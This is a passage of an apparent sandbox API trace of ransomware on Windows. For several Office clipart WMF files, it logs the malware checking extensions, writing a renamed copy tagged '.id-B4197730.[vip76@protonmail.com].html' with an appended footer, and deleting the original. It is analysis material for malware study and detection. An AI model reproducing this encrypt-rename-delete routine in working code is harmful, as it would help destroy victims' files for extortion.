	[0071.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.679] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.679] lstrlenW (lpString="AN03500_.WMF") returned 12
	[0071.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0071.679] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=9240) returned 1
	[0071.679] CloseHandle (hObject=0x384) returned 1
	[0071.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220
	[0071.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0071.680] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.680] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0071.680] GetLastError () returned 0x0
	[0071.680] ReadFile (in: hFile=0x384, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x2418, lpOverlapped=0x0) returned 1
	[0071.682] WriteFile (in: hFile=0x350, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x2420, lpOverlapped=0x0) returned 1
	[0071.683] ReadFile (in: hFile=0x384, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.683] WriteFile (in: hFile=0x350, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.683] SetEndOfFile (hFile=0x350) returned 1
	[0071.683] CloseHandle (hObject=0x350) returned 1
	[0071.684] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.684] SetEndOfFile (hFile=0x384) returned 1
	[0071.685] CloseHandle (hObject=0x384) returned 1
	[0071.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1
	[0071.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0071.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0071.685] lstrlenW (lpString=".doc") returned 4
	[0071.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.685] lstrlenW (lpString=".docx") returned 5
	[0071.685] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.685] lstrlenW (lpString=".pdf") returned 4
	[0071.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.685] lstrlenW (lpString=".xls") returned 4
	[0071.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.686] lstrlenW (lpString=".xlsx") returned 5
	[0071.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.686] lstrlenW (lpString=".ppt") returned 4
	[0071.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0071.686] lstrlenW (lpString=".zip") returned 4
	[0071.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.686] lstrlenW (lpString=".rar") returned 4
	[0071.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.686] lstrlenW (lpString=".bz2") returned 4
	[0071.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.686] lstrlenW (lpString=".7z") returned 3
	[0071.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0071.686] lstrlenW (lpString=".dbf") returned 4
	[0071.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0071.686] lstrlenW (lpString=".1cd") returned 4
	[0071.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0071.686] lstrlenW (lpString=".jpg") returned 4
	[0071.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0071.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0071.686] lstrlenW (lpString=".doc") returned 4
	[0071.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.686] lstrlenW (lpString=".docx") returned 5
	[0071.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.686] lstrlenW (lpString=".pdf") returned 4
	[0071.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.686] lstrlenW (lpString=".xls") returned 4
	[0071.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.687] lstrlenW (lpString=".xlsx") returned 5
	[0071.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.687] lstrlenW (lpString=".ppt") returned 4
	[0071.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0071.687] lstrlenW (lpString=".zip") returned 4
	[0071.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.687] lstrlenW (lpString=".rar") returned 4
	[0071.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.687] lstrlenW (lpString=".bz2") returned 4
	[0071.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.687] lstrlenW (lpString=".7z") returned 3
	[0071.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0071.687] lstrlenW (lpString=".dbf") returned 4
	[0071.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0071.687] lstrlenW (lpString=".1cd") returned 4
	[0071.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68
	[0071.687] lstrlenW (lpString=".jpg") returned 4
	[0071.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.687] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.687] lstrlenW (lpString="AN04108_.WMF") returned 12
	[0071.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.098] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2344) returned 1
	[0072.098] CloseHandle (hObject=0x33c) returned 1
	[0072.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220
	[0072.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.098] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.098] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0072.099] GetLastError () returned 0x0
	[0072.099] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x928, lpOverlapped=0x0) returned 1
	[0072.100] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x930, lpOverlapped=0x0) returned 1
	[0072.101] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.101] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.101] SetEndOfFile (hFile=0x390) returned 1
	[0072.102] CloseHandle (hObject=0x390) returned 1
	[0072.102] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.102] SetEndOfFile (hFile=0x33c) returned 1
	[0072.104] CloseHandle (hObject=0x33c) returned 1
	[0072.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1
	[0072.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0072.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0072.104] lstrlenW (lpString=".doc") returned 4
	[0072.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.105] lstrlenW (lpString=".docx") returned 5
	[0072.105] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.105] lstrlenW (lpString=".pdf") returned 4
	[0072.105] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.105] lstrlenW (lpString=".xls") returned 4
	[0072.105] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.105] lstrlenW (lpString=".xlsx") returned 5
	[0072.105] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.105] lstrlenW (lpString=".ppt") returned 4
	[0072.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0072.105] lstrlenW (lpString=".zip") returned 4
	[0072.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.105] lstrlenW (lpString=".rar") returned 4
	[0072.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.105] lstrlenW (lpString=".bz2") returned 4
	[0072.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.105] lstrlenW (lpString=".7z") returned 3
	[0072.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0072.105] lstrlenW (lpString=".dbf") returned 4
	[0072.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0072.105] lstrlenW (lpString=".1cd") returned 4
	[0072.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0072.105] lstrlenW (lpString=".jpg") returned 4
	[0072.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0072.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0072.105] lstrlenW (lpString=".doc") returned 4
	[0072.105] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.106] lstrlenW (lpString=".docx") returned 5
	[0072.106] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.106] lstrlenW (lpString=".pdf") returned 4
	[0072.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.106] lstrlenW (lpString=".xls") returned 4
	[0072.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.106] lstrlenW (lpString=".xlsx") returned 5
	[0072.106] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.106] lstrlenW (lpString=".ppt") returned 4
	[0072.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0072.106] lstrlenW (lpString=".zip") returned 4
	[0072.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.106] lstrlenW (lpString=".rar") returned 4
	[0072.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.106] lstrlenW (lpString=".bz2") returned 4
	[0072.106] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.106] lstrlenW (lpString=".7z") returned 3
	[0072.106] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0072.106] lstrlenW (lpString=".dbf") returned 4
	[0072.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0072.106] lstrlenW (lpString=".1cd") returned 4
	[0072.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68
	[0072.106] lstrlenW (lpString=".jpg") returned 4
	[0072.106] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.106] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0072.107] lstrlenW (lpString="AN04134_.WMF") returned 12
	[0072.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.107] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3416) returned 1
	[0072.107] CloseHandle (hObject=0x33c) returned 1
	[0072.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220
	[0072.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.107] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.107] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0072.108] GetLastError () returned 0x0
	[0072.108] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xd58, lpOverlapped=0x0) returned 1
	[0072.110] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xd60, lpOverlapped=0x0) returned 1
	[0072.111] ReadFile (in: hFile=0x33c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.111] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.111] SetEndOfFile (hFile=0x390) returned 1
	[0072.111] CloseHandle (hObject=0x390) returned 1
	[0072.112] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.112] SetEndOfFile (hFile=0x33c) returned 1
	[0072.113] CloseHandle (hObject=0x33c) returned 1
	[0072.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0072.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1
	[0072.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0072.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0072.113] lstrlenW (lpString=".doc") returned 4
	[0072.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.113] lstrlenW (lpString=".docx") returned 5
	[0072.114] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.114] lstrlenW (lpString=".pdf") returned 4
	[0072.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.114] lstrlenW (lpString=".xls") returned 4
	[0072.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.114] lstrlenW (lpString=".xlsx") returned 5
	[0072.114] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.114] lstrlenW (lpString=".ppt") returned 4
	[0072.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0072.114] lstrlenW (lpString=".zip") returned 4
	[0072.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.114] lstrlenW (lpString=".rar") returned 4
	[0072.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.114] lstrlenW (lpString=".bz2") returned 4
	[0072.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.114] lstrlenW (lpString=".7z") returned 3
	[0072.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0072.114] lstrlenW (lpString=".dbf") returned 4
	[0072.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0072.114] lstrlenW (lpString=".1cd") returned 4
	[0072.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0072.114] lstrlenW (lpString=".jpg") returned 4
	[0072.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0072.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0072.114] lstrlenW (lpString=".doc") returned 4
	[0072.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0072.114] lstrlenW (lpString=".docx") returned 5
	[0072.115] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0072.115] lstrlenW (lpString=".pdf") returned 4
	[0072.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0072.115] lstrlenW (lpString=".xls") returned 4
	[0072.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0072.115] lstrlenW (lpString=".xlsx") returned 5
	[0072.115] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0072.115] lstrlenW (lpString=".ppt") returned 4
	[0072.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0072.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0072.115] lstrlenW (lpString=".zip") returned 4
	[0072.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0072.115] lstrlenW (lpString=".rar") returned 4
	[0072.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0072.115] lstrlenW (lpString=".bz2") returned 4
	[0072.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0072.115] lstrlenW (lpString=".7z") returned 3
	[0072.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0072.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0072.115] lstrlenW (lpString=".dbf") returned 4
	[0072.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0072.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0072.115] lstrlenW (lpString=".1cd") returned 4
	[0072.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0072.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68
	[0072.115] lstrlenW (lpString=".jpg") returned 4
	[0072.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0072.115] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
